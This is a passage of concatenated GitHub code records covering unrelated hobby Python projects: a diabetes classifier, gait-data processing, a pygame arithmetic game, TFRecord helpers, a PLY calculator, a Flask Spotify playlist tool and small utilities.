random_state=2)\n\nclassifier = svm.SVC(kernel='linear')\nclassifier.fit(x_train,y_train)\nSVC(kernel='linear')\nx_train_prediction = classifier.predict(x_train)\ntraining_data_accuracy = accuracy_score(x_train_prediction, y_train)\nprint('Accuracy score of the training data : ', training_data_accuracy)\n\n\n# accuracy score on the test data\nx_test_prediction = classifier.predict(x_test)\ntest_data_accuracy = accuracy_score(x_test_prediction, y_test)\n\nprint('Accuracy score of the test data : ', test_data_accuracy)\n\ninput_data = (5,166,72,19,175,25.8,0.587,51)\n\n# changing the input_data to numpy array\ninput_data_as_numpy_array = np.asarray(input_data)\n\n# reshape the array as we are predicting for one instance\ninput_data_reshaped = input_data_as_numpy_array.reshape(1,-1)\n\n# standardize the input data\nstd_data = scaler.transform(input_data_reshaped)\nprint(std_data)\n\nprediction = classifier.predict(std_data)\nprint(prediction)\n\nif prediction[0] == 0:\n print('The person is not diabetic')\nelse:\n print('The person is diabetic')\n","repo_name":"Arnab1899/Diabetics-Prediction-using-Machine-Learning","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1829,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"41624447163","text":"import h5py\nimport pandas as pd\nimport numpy as np\nfrom src.utility.get_APDM_files import get_APDM_ContAlgo_files_AWS\n\nimport sys\nsys.path.insert(1, '/Users/bluesky/Documents/GitHub/STEPP/src/') #path where the file is downloaded\nfrom helpers import *\n\ndef get_ContAlgo_strides(data):\n steps = []\n steps = data['Bouts']['gaitIndices'].value\n l, w = steps.shape\n max_strides = steps[l-1][w-1]\n total_strides = (max_strides + 1)*2\n\n return total_strides\n\n\ndef process_APDM_Cont_Algo(data):\n #Bouts: - Use these bout times (from James McNames)\n #data['Bouts'].keys()\n\n #Metrics - Gait\n gait_data = data['Metrics']['Gait']['Feet']\n results = []\n metrics = []\n for key in gait_data.keys():\n validity = pd.DataFrame(gait_data[key]['validity'].value)\n values = pd.DataFrame(gait_data[key]['values'].value)\n\n validity.columns = ['valL', 'valR']\n values.columns = ['valuesL', 'valuesR']\n #joint_df = pd.concat([validity, values], axis = 1)\n #results.append({'metric': key,\n # 'median_value': np.nanmedian(values)})\n\n metrics.append(key)\n results.append(np.nanmedian(values))\n turns_data = data['Metrics']['Turns']['Lumbar']\n for key in turns_data.keys():\n try:\n validity = pd.DataFrame(turns_data[key]['validity'].value)\n values = pd.DataFrame(turns_data[key]['values'].value)\n\n #results.append({'metric': 'Turns-' + key,\n # 'median_value': np.nanmedian(values)})\n metrics.append(key)\n results.append(np.nanmedian(values))\n except ValueError:\n datetimes = data['Metrics']['Turns']['Lumbar'][key].value\n\n obj = pd.DataFrame([results])\n obj.columns = metrics\n\n obj['total_strides'] = get_ContAlgo_strides(data)\n\n return obj\n\nif __name__ == '__main__':\n get_APDM_ContAlgo_files_AWS()\n #file = '/Users/bluesky/Downloads/X9001262_A_10010001_01_OPAL_20minWalk_Continuous_Analysis.h5'\n #data = h5py.File(file, 'r')\n APDM_files = get_APDM_ContAlgo_files_AWS()\n results = []\n for index, row in APDM_files.iterrows():\n data = read_file_aws(row.S3_obj.bucket_name, row.S3_obj.key, '.h5')\n try:\n results_df = process_APDM_Cont_Algo(data)\n except KeyError:\n continue\n new_obj = {'subject': row.subject,\n 'visit': row.visit,\n 'task': row.task}\n res_obj = pd.concat([pd.DataFrame([new_obj]), results_df], axis=1)\n results.append(res_obj)\n\n res_df = pd.concat(results)\n res_df.to_csv('/Users/bluesky/Documents/X9001262/Data_Science/X9001262_APDM_ContAlgo_Medians.csv', index = False)\n","repo_name":"stjordanis/dmtiDevices","sub_path":"apdm/apdmContinuousAlgo.py","file_name":"apdmContinuousAlgo.py","file_ext":"py","file_size_in_byte":2724,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"1738515031","text":"# -*- coding: utf-8 -*-\nfrom __future__ import unicode_literals\n\nfrom django.db import migrations\n\n\nclass Migration(migrations.Migration):\n\n dependencies = [\n ('artbot_website', '0012_event_add_title_raw'),\n ]\n\n operations = [\n migrations.AlterUniqueTogether(\n name='event',\n unique_together=set([('venue', 'title_raw')]),\n ),\n migrations.RemoveField(\n model_name='event',\n name='titleRaw',\n ),\n ]\n","repo_name":"coreymcdermott/artbot","sub_path":"artbot_website/migrations/0013_event_remove_event_titleRaw.py","file_name":"0013_event_remove_event_titleRaw.py","file_ext":"py","file_size_in_byte":489,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"20969072169","text":"#!/usr/bin/env python\n\n\"\"\"\nA basket ball game\n\"\"\"\n\n\nVERSION = '0.1'\n\ntry:\n import sys, random, math, os, getopt\n import pygame\n from socket import *\n from pygame.locals import *\n import sqlalchemy as sa\n from sqlalchemy.orm import sessionmaker\n\n from oldlib.scene import Scene\n from oldlib.game import GameBase\n from oldlib.utils import *\n from lib.operation import OperationType\n from lib.arithmetic import ArithmeticFactory\n from lib.question import QuestionStatus, Question, ArithQuestion\n from lib.exam import Exam\n from lib.sound import Sound\n from lib.image import Image\n from lib.voicer import Voicer\n\n # from model import Base\n # from model.user_model import UserModel\n # from model.setting_model import SettingModel\n # from model.question_model import QuestionModel\n from lib.basketball import BasketBall\n\nexcept ImportError as e:\n print(f'Failed to load module: {e}')\n sys.exit(2)\n\n\n\nclass TitleScene(Scene):\n def __init__(self, id='title_scene', name='Title Sene', bg_color=(0,0,0), bg_image=None, bg_music=None):\n # self.tts_engine = None\n self.voicer = None\n super().__init__(id=id, name=name, bg_color=bg_color, bg_image=bg_image, bg_music=bg_music)\n\n \n def _pre_enter(self, **kwarg):\n super()._pre_enter(**kwarg)\n self.voicer.sayTTS(\"Hello, Ada. How are you!\")\n \n\n def draw(self, screen):\n # screen.fill(DEFAULT_BACKGROUND)\n WIDTH, HEIGHT = screen.get_size()\n draw_text(screen, \"GET READY\", 50, WHITE, WIDTH / 2, HEIGHT / 2, align=\"center\")\n draw_text(screen, \"press <space> to start\", 20, WHITE, WIDTH / 2, HEIGHT * 3 / 4, align=\"center\")\n draw_text(screen, \"press <m> for menu\", 20, WHITE, WIDTH / 2, HEIGHT * 3 / 4 + 50, align=\"center\")\n\n\nclass ArithExam(Exam):\n def __init__(self):\n self.operation = OperationType()\n self.arithmeticFactory = ArithmeticFactory()\n \n super().__init__()\n\n def add(self, question):\n if question.status != QuestionStatus.COMPLETED:\n self.incompleted_questions[question.id] = question\n self.completed_questions.pop(question.id, None)\n else:\n self.completed_questions[question.id] = question\n self.incompleted_questions.pop(question.id, None)\n\n def load(self):\n self.number += 1\n for i in range(0, 9):\n arithmetic = self.arithmeticFactory.buildAritmetic(self.operation)\n question = ArithQuestion(f'arith_{i}', i, arithmetic)\n self.add(question)\n \n \n\n def next(self):\n if self.question != None:\n self.add(self.question)\n self.question = None\n\n if self.is_completed == False:\n self.question = self.incompleted_questions[sorted(self.incompleted_questions.keys())[0]]\n return self.question\n \n @property\n def is_completed(self):\n return len(self.incompleted_questions.keys()) == 0 and self.question == None \n\n \n def draw(self, screen):\n # screen.fill(DEFAULT_BACKGROUND)\n WIDTH, HEIGHT = screen.get_size()\n left_tab_x = WIDTH/10\n left_tab_y = HEIGHT*2/5\n\n \n exam_number = f'Exam : {self.number}'\n draw_text(screen, exam_number, 30, GREEN, left_tab_x, left_tab_y, align='center')\n left_tab_y += 35\n\n exam_total = f'Total : {self.total_count}'\n draw_text(screen, exam_total, 30, GREEN, left_tab_x, left_tab_y, align='center')\n left_tab_y += 35\n\n exam_complete = f'Complete : {self.complete_count}'\n draw_text(screen, exam_complete, 30, GREEN, left_tab_x, left_tab_y, align='center')\n left_tab_y += 35\n\n exam_remains = f'Remain : {self.incomplete_count}'\n draw_text(screen, exam_remains, 30, GREEN, left_tab_x, left_tab_y, align='center')\n left_tab_y += 35\n\n exam_correct = f'Correct : {self.result_count(True)}'\n draw_text(screen, exam_correct, 30, GREEN, left_tab_x, left_tab_y, align='center')\n left_tab_y += 35\n\n exam_wrong = f'Wrong : {self.result_count(False)}'\n draw_text(screen, exam_wrong, 30, RED, left_tab_x, left_tab_y, align='center')\n left_tab_y += 35\n\n question_status = f'{self.question.status}'\n draw_text(screen, question_status, 20, GREEN, left_tab_x, left_tab_y, align='center') \n\n question_tab_x = WIDTH//2\n question_tab_y = HEIGHT/6\n\n draw_text(screen, f'Please Input the Result', 50, WHITE, question_tab_x , question_tab_y, align='center')\n question_tab_y += 60\n \n question_number = f'Question : {self.question.number}'\n draw_text(screen, question_number, 30, WHITE, question_tab_x , question_tab_y, align='center')\n question_tab_y += 100\n\n draw_text(screen, f'{self.question}', 150, WHITE, question_tab_x, question_tab_y, align=\"center\")\n question_tab_y += 180\n\n question_color = WHITE if self.question.result == None else RED if self.question.result == False else GREEN \n draw_text(screen, f'{self.question.answer}', 200, question_color, question_tab_x, question_tab_y, align=\"center\")\n question_tab_y += 210\n\n draw_text(screen, \"press <q> to end\", 20, WHITE, question_tab_x, HEIGHT * 3 / 4, align=\"center\")\n \n \n\nclass ArithScene(Scene):\n def __init__(self, id='arith_scene', name='Arith Sene', bg_color=(0,0,0), bg_image=None, bg_music=None):\n self.exam = ArithExam()\n self.exam.load()\n self.question = self.exam.next()\n # self.tts_engine = None\n self.voicer = None\n self.right_image = None\n self.wrong_image = None\n \n super().__init__(id=id, name=name, bg_color=bg_color, bg_image=bg_image, bg_music=bg_music)\n\n def draw(self, screen):\n self.exam.draw(screen)\n\n self.basketball.draw(screen)\n\n if self.question.status == QuestionStatus.GRADED and self.question.result != None:\n if self.question.result == True:\n img_rect = self.right_image.get_rect()\n img_rect.center = (800, 450)\n screen.blit(self.right_image, img_rect)\n else:\n img_rect = self.wrong_image.get_rect()\n img_rect.center = (800, 450)\n screen.blit(self.wrong_image, img_rect)\n \n\n def _handle_scene_event(self, event):\n if self.question != None:\n if self.question.status == QuestionStatus.STARTED:\n if event.type == KEYUP and event.key in [K_0, K_1, K_2, K_3, K_4, K_5, K_6, K_7, K_8, K_9]:\n key = event.key - 48\n self.question.answering(key)\n elif self.question.status == QuestionStatus.ANSWERED:\n if event.type == KEYUP:\n if event.key == K_RETURN:\n self.question.submit()\n if self.question.result == True:\n self.voicer.sayTTS(\"Well done!\")\n else:\n self.voicer.sayTTS(\"Sorry!\")\n elif event.key in [K_0, K_1, K_2, K_3, K_4, K_5, K_6, K_7, K_8, K_9]:\n key = event.key - 48\n value = self.question.answer*10 + key\n self.question.answering(value)\n elif event.key == K_ESCAPE:\n self.question.answering(0)\n\n elif self.question.status == QuestionStatus.GRADED:\n if event.type == KEYUP and event.key in [K_RIGHT, K_SPACE, K_RETURN]:\n self.question.complete()\n self.exam.add(self.question)\n self.question = None\n elif self.question.status == QuestionStatus.COMPLETED:\n if event.type == KEYUP and event.key in [K_RIGHT, K_SPACE, K_RETURN]:\n key = event.key - 48\n self.question = self.exam.next()\n\n return super()._handle_scene_event(event)\n\n\n def update(self):\n if (self.question == None) or self.question.status == QuestionStatus.COMPLETED:\n if self.exam.is_completed == False:\n self.question = self.exam.next()\n if self.question == None:\n if self.exam.operation.type == OperationType.ADD:\n self.exam.operation = OperationType(OperationType.SUB)\n else:\n self.exam.operation = OperationType(OperationType.ADD)\n self.exam.load()\n self.question = self.exam.next()\n\n if self.question.status == QuestionStatus.INITED:\n self.question.start()\n self.voicer.saySimple(f'{self.question}')\n \n self.basketball.update()\n return super().update()\n\n\nclass MenuScene(Scene):\n def __init__(self, id='menu_scene', name='Menu Sene', bg_color=(0,0,0), bg_image=None, bg_music=None):\n self.voider = None\n super().__init__(id=id, name=name, bg_color=bg_color, bg_image=bg_image, bg_music=bg_music)\n\n\n def draw(self, screen):\n # screen.fill(DEFAULT_BACKGROUND)\n WIDTH, HEIGHT = screen.get_size()\n draw_text(screen, \"SETTINGS\", 50, WHITE, WIDTH / 2, HEIGHT / 2, align=\"center\")\n draw_text(screen, \"press <ESC> to return\", 20, WHITE, WIDTH / 2, HEIGHT * 3 / 4, align=\"center\")\n\n\nclass EndScene(Scene):\n def __init__(self, id='end_scene', name='End Sene', bg_color=(0,0,0), bg_image=None, bg_music=None):\n self.voicer = None\n super().__init__(id=id, name=name, bg_color=bg_color, bg_image=bg_image, bg_music=bg_music)\n\n\n def _handle_scene_event(self, event):\n super()._handle_scene_event(event)\n if event.type == KEYDOWN and event.key == K_q:\n self.voicer.sayTTS(\"Goodbye Ada, my honor to see next time\")\n self.end()\n self.voicer.end()\n sys.exit(0)\n\n\n def draw(self, screen):\n # screen.fill(DEFAULT_BACKGROUND)\n WIDTH, HEIGHT = screen.get_size()\n draw_text(screen, \"GAME OVER\", 50, WHITE, WIDTH / 2, HEIGHT / 2, align=\"center\")\n draw_text(screen, \"press <r> to restart\", 20, WHITE, WIDTH / 2, HEIGHT * 3 / 4, align=\"center\")\n draw_text(screen, \"press <q> to exit\", 20, WHITE, WIDTH / 2, HEIGHT * 3 / 4 + 30, align=\"center\")\n\n\nclass ArithGame(GameBase):\n\n def _init_db(self):\n db_engine = sa.create_engine(f'sqlite:///{os.path.join(self.main_dir, \"data/adarith.db?check_same_hread=False\")}', echo=True)\n Base.metadata.create_all(db_engine)\n db_session = sessionmaker(bind=db_engine)\n self.db_session = db_session()\n UserModel.init_user(self.db_session)\n SettingModel.init_setting(self.db_session)\n QuestionModel.init_question(self.db_session)\n\n \n def _init_res(self):\n super()._init_res()\n self.key_sound = Sound(os.path.join(self.sound_dir, 'pew.wav'))\n self.bg_image = Image(os.path.join(self.image_dir, 'blackboard_1024_768.png')).image\n self.right_image = Image(os.path.join(self.image_dir, 'right_140_147.png')).image\n self.wrong_image = Image(os.path.join(self.image_dir, 'wrong_140_177.png')).image\n ball_path = os.path.join(self.image_dir, 'basketball_50_50.png') \n speed = 13\n rand = ((0.1 * (random.randint(5, 8))))\n vector = (0.47, speed)\n basketball = BasketBall(path=ball_path, vector=vector)\n self.basketball = pygame.sprite.RenderPlain(basketball)\n # self._init_db()\n\n self.voicer_name = 'ada'\n self.voice_path = os.path.join(self.sound_dir, self.voicer_name)\n self.voicer = Voicer(path = self.voice_path)\n\n \n\n def _init_scenes(self):\n happyTune = os.path.join(self.sound_dir, 'Happy Tune.ogg')\n titleScene = TitleScene(bg_music=happyTune)\n # titleScene.tts_engine = self.engine\n titleScene.voicer = self.voicer\n\n arithScene = ArithScene(bg_music=happyTune)\n # arithScene.tts_engine = self.engine\n arithScene.voicer = self.voicer\n arithScene.right_image = self.right_image\n arithScene.wrong_image = self.wrong_image\n arithScene.basketball = self.basketball\n\n menuScene = MenuScene(bg_music=happyTune)\n menuScene.voicer = self.voicer\n\n yippee = os.path.join(self.sound_dir, 'Yippee.ogg')\n endScene = EndScene(bg_music=yippee)\n endScene.voicer = self.voicer\n\n titleScene.add_next(K_ESCAPE, endScene).add_next(K_m, menuScene).add_next(K_SPACE, arithScene)\n menuScene.add_next(K_ESCAPE, titleScene)\n arithScene.add_next(K_q, endScene)\n endScene.add_next(K_r, titleScene)\n\n self.scene = titleScene\n \n return super()._init_scenes()\n\n\n def _pre_run(self, **kwargs):\n super()._pre_run(**kwargs)\n self.scene.switch_to(self.scene)\n\n\n\n ","repo_name":"webji/adarith","sub_path":"adarith/arithgame.py","file_name":"arithgame.py","file_ext":"py","file_size_in_byte":12943,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"21"} +{"seq_id":"41728434318","text":"import numpy as np\nimport tensorflow as tf\nimport os\n\nfrom scipy import misc\nfrom PIL import Image\n\ndef _bytes_feature(value):\n return tf.train.Feature(bytes_list=tf.train.BytesList(value=[value]))\n\ndef _int64_feature(value):\n return tf.train.Feature(int64_list=tf.train.Int64List(value=[value]))\n\ndef create_tfrecord(tfrecords_filename, jpg_files):\n print(\"Creating TF Record\")\n writer = tf.python_io.TFRecordWriter(tfrecords_filename)\n\n for img_file in jpg_files:\n img = np.array(Image.open(img_file))\n\n height = img.shape[0]\n width = img.shape[1]\n img_raw = img.tostring()\n\n example = tf.train.Example(features=tf.train.Features(feature={\n 'height': _int64_feature(height),\n 'width': _int64_feature(width),\n 'image_raw': _bytes_feature(img_raw)}))\n\n writer.write(example.SerializeToString())\n\n writer.close()\n\ndef read_and_decode(filename_queue, FLAGS):\n reader = tf.TFRecordReader()\n\n _, serialized_example = reader.read(filename_queue)\n\n features = tf.parse_single_example(\n serialized_example,\n features={\n 'height': tf.FixedLenFeature([], tf.int64),\n 'width': tf.FixedLenFeature([], tf.int64),\n 'image_raw': tf.FixedLenFeature([], tf.string),\n })\n\n image = tf.decode_raw(features['image_raw'], tf.uint8)\n height = tf.cast(features['height'], tf.int32)\n width = tf.cast(features['width'], tf.int32)\n\n image_shape = tf.stack([height, width, 3])\n image = tf.reshape(image, image_shape)\n resized_image = tf.image.resize_image_with_crop_or_pad(image=image,\n target_height=FLAGS.img_size,\n target_width=FLAGS.img_size)\n\n images = tf.train.shuffle_batch([resized_image],\n batch_size=FLAGS.fixed_batch_size,\n capacity=FLAGS.capacity,\n num_threads=FLAGS.num_threads,\n min_after_dequeue=FLAGS.min_after_dequeue)\n # Normalize\n images = tf.cast(images, tf.float32)\n images = tf.subtract(tf.truediv(images, 127.5), 1)\n return images\n\ndef immerge_save(images, epoch, img_size, path_dir):\n images = np.array(images).squeeze()\n h, w, c = images.shape[1], images.shape[2], images.shape[3]\n\n filename = os.path.join(path_dir, '{:d}.jpg'.format(epoch))\n img = np.zeros((h * img_size, w * img_size, c))\n\n for idx, image in enumerate(images):\n i = idx % img_size\n j = idx // img_size\n img[j * h:j * h + h, i * w:i * w + w, ...] = image\n\n img = (img + 1.) / 2\n\n return misc.imsave(filename, img)\n","repo_name":"zxcvbnmditto/GAN","sub_path":"vanilla_gan/new_utils.py","file_name":"new_utils.py","file_ext":"py","file_size_in_byte":2820,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"21"} +{"seq_id":"10437477384","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n\"\"\"\ncalc.py\n\nThis file uses the lex and yacc scripts implemented in the PLY library (Python \nLex-Yacc). All the functions defined in the file are rules for tokenizing and\nparsing. The docstrings of the functions are also parsed as the grammar rules.\n\"\"\"\n\nfrom ply import lex, yacc\n\n# tokens supported by the script\ntokens = (\n \"NUMBER\",\n \"PLUS\",\n \"MINUS\",\n \"TIMES\",\n \"DIVIDE\",\n \"LPAREN\",\n \"RPAREN\",\n)\n\n# rule for parsing a NUMBER token\ndef t_NUMBER(t):\n r\"\\d+\"\n t.value = int(t.value)\n return t\n\n\n# rules for parsing the operator tokens and the parenthesis\nt_PLUS = r\"\\+\"\nt_MINUS = r\"-\"\nt_TIMES = r\"\\*\"\nt_DIVIDE = r\"/\"\nt_LPAREN = r\"\\(\"\nt_RPAREN = r\"\\)\"\n\n# ignored characters\nt_ignore = \" \"\n\n# precedence rules for the arithmetic operators\nprecedence = (\n (\"left\", \"PLUS\", \"MINUS\"),\n (\"left\", \"TIMES\", \"DIVIDE\"),\n (\"right\", \"UMINUS\"),\n)\n\n# exit on token errors\ndef t_error(t):\n exit(t)\n\n\n# grammar for EXPR\ndef p_statement_expr(p):\n \"statement : expression\"\n print(p[1])\n\n\n# grammar for binary arithmetic operators\ndef p_expression_binop(p):\n \"\"\"expression : expression PLUS expression\n | expression MINUS expression\n | expression TIMES expression\n | expression DIVIDE expression\"\"\"\n if p[2] == \"+\":\n p[0] = p[1] + p[3]\n elif p[2] == \"-\":\n p[0] = p[1] - p[3]\n elif p[2] == \"*\":\n p[0] = p[1] * p[3]\n elif p[2] == \"/\":\n p[0] = p[1] / p[3]\n\n\n# grammar for UNARY MINUS\ndef p_expression_uminus(p):\n \"expression : MINUS expression %prec UMINUS\"\n p[0] = -p[2]\n\n\n# grammar for EXPR between LPAREN and RPAREN\ndef p_expression_group(p):\n \"expression : LPAREN expression RPAREN\"\n p[0] = p[2]\n\n\n# grammar for NUMBER\ndef p_expression_number(p):\n \"expression : NUMBER\"\n p[0] = p[1]\n\n\n# exit on grammar errors\ndef p_error(p):\n exit(p)\n\n\n# build the lexer\nlex.lex()\nyacc.yacc()\n\n# parse an example input string\nyacc.parse(\"-1 + (2 * 3 + 4) * -5\")\n","repo_name":"ribbas/grad_courses","sub_path":"629_programming_languages/assn/02/calc.py","file_name":"calc.py","file_ext":"py","file_size_in_byte":1998,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"22332095346","text":"import spotipy\nfrom spotipy.oauth2 import SpotifyOAuth\nfrom flask import Flask, request, url_for, session, redirect, render_template\nimport json\nimport time, datetime\nimport os\nimport random\nfrom spotifysecrets import likedID, likedSecret\n\napp = Flask(__name__)\n\napp.secret_key = \"OsdfdEdfdI234D\"\napp.config['SESSION_COOKIE_NAME'] = 'Cookie'\n\n\n# TOKENINFO = \"token_info\"\n\n@app.route('/')\ndef login():\n sp_oauth = create_spotify_oauth()\n auth_url = sp_oauth.get_authorize_url()\n # print(auth_url)\n return redirect(auth_url)\n\n\n@app.route('/logout', methods=['GET', 'POST'])\ndef logout():\n for key in list(session.keys()):\n session.pop(key)\n if os.path.exists(\"./.cache\"):\n os.remove(\"./.cache\")\n return redirect('/')\n\n\n@app.route('/authorize')\ndef authorize():\n sp_oauth = create_spotify_oauth()\n session.clear()\n code = request.args.get('code')\n token_info = sp_oauth.get_access_token(code)\n session[\"token_info\"] = token_info\n return redirect(\"/functions\")\n\n\n@app.route('/functions')\ndef spotifyFunctions():\n # Confirm authorization\n session['token_info'], authorized = get_token()\n session.modified = True\n if not authorized:\n return redirect('/')\n sp = spotipy.Spotify(auth=session.get('token_info').get('access_token'))\n songIDs = getLikedSongs(sp, 0)\n songList = []\n for song in songIDs:\n track = sp.track(song)\n songList.append({\"name\": track[\"name\"], \"artist\": track[\"artists\"][0][\"name\"]})\n\n # Retrieves user's public owned playlists and *publicly* followed playlists\n playlistsObject = sp.current_user_playlists()\n playlists = []\n followedPlaylists = []\n user = sp.current_user()\n for p in playlistsObject[\"items\"]:\n if p['owner']['id'] == user['id']:\n playlists.append({\"name\": p[\"name\"], \"id\": p[\"id\"]})\n # else:\n followed = sp.playlist(p['id'])\n length = 0\n for track in followed['tracks']['items']:\n length += track['track']['duration_ms'] / 1000 / 60 / 60\n followedPlaylists.append({\"name\": p[\"name\"], \"id\": p[\"id\"], \"length\": round(length, 3)})\n # Just added a way to more easily visualize the structure\n # with open('playlistTest.json', 'w') as f:\n # json.dump(playlistsObject, f)\n return render_template('index.html', songList=songList, playlists=playlists, followedPlaylists=followedPlaylists)\n\n\n@app.route('/addToPlaylist', methods=['POST'])\ndef addToPlaylist():\n # Adds user's 'liked songs' library to a playlist of choice\n sp = spotipy.Spotify(auth=session.get('token_info').get('access_token'))\n playlistID = request.form.get(\"addToPlaylist\")\n songList = getLikedSongs(sp, 0)\n sp.playlist_add_items(playlistID, songList)\n return redirect('/functions')\n\n\n@app.route('/removeFromLiked', methods=['POST'])\ndef removeFromLiked():\n # Clears user's library, but can only do 50 at a time\n sp = spotipy.Spotify(auth=session.get('token_info').get('access_token'))\n songList = getLikedSongs(sp, 50)\n print(len(songList))\n sp.current_user_saved_tracks_delete(songList)\n\n return redirect('/functions')\n\n\n@app.route('/createPartialPlaylist', methods=['POST'])\ndef createPartialPlaylist():\n sp = spotipy.Spotify(auth=session.get('token_info').get('access_token'))\n # Get string playlistID\n playlistID = request.form.get(\"createPartialPlaylist\")\n if not playlistID:\n return redirect('/functions')\n # Get list of song IDs\n playlistTracksObject = sp.playlist_items(playlistID, additional_types=(\"track\",))\n playlistTracks = []\n for track in playlistTracksObject[\"items\"]:\n playlistTracks.append(track['track']['id'])\n # Get string newName\n newName = request.form.get(\"newName\")\n if not newName:\n return redirect('/functions')\n\n # Shuffle will be \"on\" or None\n shuffle = request.form.get(\"shuffleOn\")\n if shuffle:\n shuffledTracks = []\n while len(shuffledTracks) < len(playlistTracks):\n tmp = random.choice(range(len(playlistTracks)))\n if playlistTracks[tmp] not in shuffledTracks:\n shuffledTracks.append(playlistTracks[tmp])\n if len(shuffledTracks) == len(playlistTracks):\n break\n playlistTracks = shuffledTracks\n\n # Get max length, convert to float\n maxLength = request.form.get(\"playlistLength\")\n if not isFloat(maxLength) or float(maxLength) < 0.5:\n return redirect('/functions')\n maxLength = float(maxLength)\n # Shorten playlist by adding songs until hitting max length\n shortPlaylist = []\n totalTime = 0\n for trackID in playlistTracks:\n dur = sp.track(trackID)[\"duration_ms\"] / 1000.0 / 60 / 60\n if totalTime + dur < maxLength:\n shortPlaylist.append(trackID)\n totalTime += dur\n else:\n break\n date = datetime.date.today()\n description = f\"Shortened version of {sp.playlist(playlistID)['name']}, created on {date}\"\n # Create new playlist\n newPlaylist = sp.user_playlist_create(sp.current_user()['id'], name=str(newName), description=description)\n # Add songs\n sp.playlist_add_items(newPlaylist['id'], shortPlaylist)\n return redirect('/functions')\n\n\ndef isFloat(i):\n try:\n float(i)\n except ValueError:\n return False\n return True\n\n\ndef getLikedSongs(sp, mx):\n # Returns list of ids of songs in user's library\n songList = []\n count = 0\n while True:\n offset = count * 50\n count += 1\n curGroup = sp.current_user_saved_tracks(limit=50, offset=offset)['items']\n for idx, item in enumerate(curGroup):\n # val = {item['track']['id']}\n songList.append(item['track']['id'])\n # this can be updated to use the mx value if needed\n if mx != 0:\n break\n if len(curGroup) < 50:\n break\n\n return songList\n\n\n# Checks to see if token is valid and gets a new token if not\ndef get_token():\n token_valid = False\n token_info = session.get(\"token_info\", {})\n\n # Checking if the session already has a token stored\n if not (session.get('token_info', False)):\n token_valid = False\n return token_info, token_valid\n\n # Checking if token has expired\n now = int(time.time())\n is_token_expired = session.get('token_info').get('expires_at') - now < 60\n\n # Refreshing token if it has expired\n if is_token_expired:\n sp_oauth = create_spotify_oauth()\n token_info = sp_oauth.refresh_access_token(session.get('token_info').get('refresh_token'))\n\n token_valid = True\n return token_info, token_valid\n\n\ndef create_spotify_oauth():\n return SpotifyOAuth(\n client_id=likedID,\n client_secret=likedSecret,\n redirect_uri=url_for('authorize', _external=True),\n show_dialog=True,\n scope=\"user-library-read, user-library-modify, playlist-modify-public\")\n","repo_name":"tsennema/spotify","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":6921,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"37712646299","text":"# max entropy rw's\n# trans prob defined in terms of components of eig centrality of node i \n# e_i is i-th component of normalized eigenvector corresponding to max eigenval of A\n\ndef max_entropy_rw(A, e, chi):\n n = len(A)\n w = np.zeros((n,n))\n for i in range(n):\n for j in range(n):\n w[i,j] = (e[j]/(chi*e[i]))*A[i,j]\n \n return w\n","repo_name":"siantist/graph_mining","sub_path":"grakel/method_random_walk/max_entropy_rw.py","file_name":"max_entropy_rw.py","file_ext":"py","file_size_in_byte":362,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"42630859553","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n @Time : 2018/8/21 上午11:03\n @Author : hanxiaocu\n @File : store.py\n\n 日志工具\n\"\"\"\n\nimport os\nimport logging\nimport time\n\n\nclass UtilLogger(object):\n \"\"\"\n 日志工具类\n \"\"\"\n\n def __init__(self, name, logfile_name=None, level=logging.DEBUG):\n self.level = level\n self.logfile_name = logfile_name\n self.name = name\n self.logger = logging.getLogger(name)\n self.logger.setLevel(level)\n formatter = logging.Formatter(\"%(asctime)s [%(levelname)s] %(name)s - %(message)s\")\n ch = None\n if logfile_name is None:\n ch = logging.StreamHandler()\n else:\n logDir = os.path.dirname(logfile_name)\n if logDir != \"\" and not os.path.exists(logDir):\n os.mkdir(logDir)\n pass\n now = time.localtime()\n suffix = '.%d%02d%02d' % (now.tm_year, now.tm_mon, now.tm_mday)\n ch = logging.FileHandler(logfile_name + suffix)\n ch.setLevel(logging.DEBUG)\n ch.setFormatter(formatter)\n self.logger.addHandler(ch)\n\n def set_level(self, level):\n if level.lower() == \"debug\":\n self.logger.setLevel(logging.DEBUG)\n elif level.lower() == \"info\":\n self.logger.setLevel(logging.INFO)\n elif level.lower() == \"warning\":\n self.logger.setLevel(logging.WARNING)\n elif level.lower() == \"error\":\n self.logger.setLevel(logging.ERROR)\n\n def debug(self, message):\n self.logger.debug(message)\n\n def info(self, message):\n self.logger.info(message)\n\n def warning(self, message):\n self.logger.warning(message)\n\n def error(self, message):\n self.logger.error(message)\n","repo_name":"SmallBlackBeans/pythonPractice","sub_path":"hello/爬虫/练习/搜狗词库抓取&解析/utils/tools.py","file_name":"tools.py","file_ext":"py","file_size_in_byte":1775,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"21"} +{"seq_id":"33928440461","text":"from typing import List, Union\n\nfrom classes.interfaces import IRepository\nfrom database.mysql.entities import Cabinet, Office, Order, Product, Product_Category\nfrom database.sqlalchemy import get_session\nfrom fastapi import HTTPException, status\n\ndomain_names = Union[Office, Cabinet, Product, Product_Category, Order]\n\n\nclass MysqlRepository(IRepository):\n def __init__(self, cls: domain_names) -> None:\n self.db = get_session()\n self.cls = cls\n\n def get(\n self, limit: int = 5, offset: int = 0, **kwargs\n ) -> Union[\n List[Office],\n List[Cabinet],\n List[Order],\n List[Product],\n List[Product_Category],\n Office,\n Cabinet,\n Order,\n Product,\n Product_Category,\n ]:\n query = self.db.query(self.cls)\n\n if len(kwargs) > 0 and all(\n [getattr(self.cls, k[0], None) for k in kwargs.items()]\n ):\n try:\n for k, v in kwargs.items():\n query = query.filter(self.cls.__getattribute__(self.cls, k) == 